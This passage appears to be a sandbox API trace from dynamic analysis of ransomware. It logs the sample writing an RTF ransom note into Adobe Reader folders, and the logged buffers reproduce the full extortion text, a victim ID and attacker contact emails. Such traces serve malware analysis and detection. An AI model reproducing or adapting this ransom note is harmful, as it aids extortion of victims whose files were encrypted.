rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.963] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.964] CloseHandle (hObject=0x1cc) returned 1 [0033.965] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\!bwng_info!.rtf")) returned 0xffffffff [0033.965] GetLastError () returned 0x2 [0033.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss 